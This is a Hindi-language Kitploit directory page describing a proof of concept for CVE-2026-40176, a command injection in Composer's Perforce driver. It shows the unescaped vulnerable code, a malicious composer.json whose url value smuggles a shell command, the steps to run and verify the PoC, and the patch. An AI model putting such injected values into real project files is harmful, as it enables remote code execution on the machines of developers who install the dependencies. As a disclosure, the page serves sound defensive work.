Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-40176-poc — CVE-2026-40176 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Composer के Perforce VCS ड्राइवर में एक OS कमांड इंजेक्शन जो विशेष रूप से तैयार किए गए composer.json के माध्यम से दूरस्थ कोड निष्पादन को सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/saku0512/cve-2026-40176-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोललर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

CVE-2026-40176 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Composer के Perforce VCS ड्राइवर में एक OS कमांड इंजेक्शन जो विशेष रूप से तैयार किए गए composer.json के माध्यम से दूरस्थ कोड निष्पादन को सक्षम करता है।

रिपॉजिटरी देखें
21 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-40176: Composer Perforce OS कमांड इंजेक्शन PoC

English version

सारांश

यह रिपॉजिटरी Composer के Perforce VCS ड्राइवर में मौजूद एक गंभीर OS कमांड इंजेक्शन भेद्यता CVE-2026-40176 का Proof of Concept (PoC) है। यह भेद्यता Composer 2.2.27 और 2.9.6 से पहले के संस्करणों को प्रभावित करती है।

भेद्यता Perforce::generateP4Command() विधि में मौजूद है। शेल कमांड को असेंबल करते समय, url, p4user, client आदि जैसे रिपॉजिटरी कॉन्फ़िगरेशन मानों का अपर्याप्त सैनिटाइज़ेशन होता है, जिससे हमलावर नियंत्रित composer.json का उपयोग करके, पीड़ित द्वारा composer install या composer update चलाने पर मनमाने कमांड निष्पादित कर सकता है।

खोजकर्ता: saku0512 (GitHub)

अस्वीकरण

यह परियोजना केवल शैक्षिक उद्देश्य और अनुमत नैतिक सुरक्षा परीक्षण के लिए है।

इस उपकरण के दुरुपयोग, क्षति, या अवैध कृत्यों के लिए लेखक कोई जिम्मेदारी नहीं लेता है। बिना अनुमति के कंप्यूटर सिस्टम तक पहुँचना अवैध है। इस सॉफ़्टवेयर का उपयोग करने का अर्थ है कि आप केवल स्पष्ट अनुमति प्राप्त वातावरण में ही सुरक्षा परीक्षण करने के लिए सहमत हैं।

भेद्यता का विवरण

  • CVE ID: CVE-2026-40176
  • प्रकार: OS कमांड इंजेक्शन (CWE-78)
  • प्रभाव: रिमोट कोड निष्पादन (RCE)
  • प्रभावित संस्करण:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • पैच किए गए संस्करण: v2.2.27 / v2.9.6

मूल कारण

src/Composer/Util/Perforce.php में generateP4Command() विधि रिपॉजिटरी कॉन्फ़िगरेशन से प्राप्त स्ट्रिंग्स को सीधे जोड़कर शेल कमांड बनाती है।

root@kitploit:~
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // エスケープされていない
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // エスケープされていない
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // エスケープされていない

यदि इन मानों में ;, &, | जैसे शेल मेटा कैरेक्टर शामिल हैं, तो वे शेल द्वारा व्याख्या किए जाते हैं, जिससे कमांड इंजेक्शन होता है।

PoC का उपयोग कैसे करें

1. पर्यावरण तैयार करना

सुनिश्चित करें कि PHP स्थापित है। यह PoC Composer के अंदर भेद्य तर्क को पुनः निर्मित करता है।

root@kitploit:~
# PHPのバージョン確認
php -v

2. कॉन्फ़िगरेशन उदाहरण (दुर्भावनापूर्ण composer.json)

हमलावर निम्नलिखित composer.json बना सकता है:

root@kitploit:~
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. PoC चलाना

संलग्न poc.php भेद्य Composer संस्करण में आंतरिक कमांड उत्पादन और निष्पादन तर्क को पुनः निर्मित करता है।

root@kitploit:~
# PoCを実行
php poc.php

4. सत्यापन

जाँच करें कि पेलोड द्वारा बनाई गई फ़ाइल मौजूद है या नहीं, और सत्यापित करें कि कमांड निष्पादित हुआ था।

root@kitploit:~
ls -l /tmp/pwned_rce_confirmed

यदि फ़ाइल मौजूद है, तो आप पुष्टि कर सकते हैं कि RCE सफल हुआ।

उपाय

कृपया Composer को तुरंत नवीनतम संस्करण में अपडेट करें।

root@kitploit:~
composer self-update

फिक्स में, शेल द्वारा व्याख्या को रोकने के लिए, उपयोगकर्ता इनपुट से प्राप्त सभी तर्कों पर ProcessExecutor::escape() लागू किया गया है।

संदर्भ जानकारी

  • CVE-2026-40176 (cve.org)
  • Composer Security Advisory
टूल डाउनलोड करें